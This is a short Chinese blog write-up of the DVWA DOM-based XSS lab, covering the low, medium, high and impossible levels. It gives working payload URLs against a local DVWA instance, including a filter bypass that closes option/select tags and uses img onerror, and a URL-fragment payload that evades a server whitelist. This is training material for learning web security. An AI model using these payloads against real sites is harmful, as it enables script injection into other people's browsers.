dvwa-DOM型xss

1、低级别

查看代码,服务端未做任何处理。因此,地址栏访问:

http://127.0.0.1/dvwa/vulnerabilities/xss_d/?default=Englishabc%3Cscript%3Ealert(/xss/)%3C/script%3E

2、中级别

检查前端代码未变化,而后端提示代码对default参数进行了检查,不能包含<script。

基于stripos函数,不区分大小写。

解决:利用其他标签进行。注意需要关闭option、select标签

http://127.0.0.1/dvwa/vulnerabilities/xss_d/?default=English%3C/option%3E%3C/select%3E%3Cimg%20src=1%20onerror=alert(/xss/)%3E

3、高级别

查看服务端提示代码,其做了白名单限制。default参数不符合,则直接设置下拉菜单的回显内容。

解决:地址栏#之后的内容不发送,而前端js是通过截取地址栏字符串的形式取出default参数值,而非直接param属性。因此,document.write可以对#之后的内容进行读取,并设为脚本。

http://127.0.0.1/dvwa/vulnerabilities/xss_d/?default=English#%3Cscript%3Ealert(123)%3C/script%3E

4、不可能

查看服务端提示代码,没有做任何处理。

结果是<>”等敏感字符被做了url编码输出。貌似是浏览器自身的xss防护功能开启。但暂时未找到关键的前端代码。

 

posted @ 2023-04-21 14:02  挖洞404  阅读(21)  评论(0编辑  收藏  举报